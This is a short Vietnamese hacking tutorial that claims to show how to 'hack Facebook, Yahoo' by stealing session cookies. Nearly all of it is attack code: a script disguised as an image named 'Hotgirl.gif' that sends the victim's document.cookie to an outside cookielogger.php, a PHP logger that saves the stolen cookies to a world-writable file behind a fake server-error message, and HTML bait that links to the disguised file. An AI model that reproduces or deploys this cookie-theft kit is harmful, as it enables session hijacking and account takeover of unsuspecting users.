(Cũng là 1 cách xem như là để hack facebook,yahoo, ...Huynhdegroup.net )
Đầu tiên mở notepad cho vào đoạn code sau rồi lưu với 1 tên bất kì.Giả sử là Hotgirl.gif
PHP Code:
<script>location.href='http://www.yoursite.com/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>
PHP Code:
$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>
PHP Code:
cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
Hotgirl.giff -> http://www.yoursite.com/Hotgirl.gif
PHP Code:
<a href="www.yoursite.com/Hotgirl.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="www.yoursite.com/Hotgirl.gif" /></a>